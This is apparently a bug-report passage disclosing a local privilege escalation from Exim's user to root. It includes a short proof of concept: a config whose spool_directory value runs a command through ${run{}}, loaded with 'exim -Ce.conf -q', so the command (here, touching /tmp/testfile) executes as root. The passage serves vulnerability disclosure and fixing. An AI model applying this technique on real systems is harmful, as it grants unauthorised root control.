>Description:

There is a local privilege escalation from Exim's user to root: [1]

>How-To-Repeat:

[1] https://bugzilla.redhat.com/show_bug.cgi?id=661756#c3

One can create e.conf with contents like
{{{
spool_directory = ${run{/usr/bin/touch /tmp/testfile}}
}}}
run Exim as 'exim -Ce.conf -q' under Exim's own user.
/tmp/testfile will be owned by root.

>Fix:

There is a patch for Exim that is still discussed,
